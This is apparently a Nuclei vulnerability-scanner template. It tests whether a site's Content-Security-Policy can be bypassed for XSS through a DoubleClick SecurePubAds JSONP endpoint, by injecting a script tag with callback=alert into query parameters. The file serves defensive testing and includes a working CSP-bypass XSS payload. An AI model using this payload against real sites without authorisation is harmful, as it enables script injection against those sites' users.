id: doubleclick-securepubads-csp-bypass

info:
  name: Content-Security-Policy Bypass - DoubleClick SecurePubAds
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,doubleclick-securepubads

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "doubleclick.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: doubleclick_securepubads_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://securepubads.g.doubleclick.net/gampad/ads?gdfp_req=1&output=json_html&iu=%2F32173961%2Fdesktop%2Ffrontpage%2Flisting&sz=300x250&url=https%3A%2F%2Fwww.reddit.com%2F&vrg=147&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "doubleclick_securepubads_csp_xss == true"
# digest: 4b0a00483046022100b193e9ae96294002e476c39b82317c4b8455b1da3ab3f11765acf0bafc8b40ff022100cc96e29e30375906ac30b287fd0d50302d512bafc03a7359c7beed0ee9500cea:922c64590222798bb761d5b6d8e72950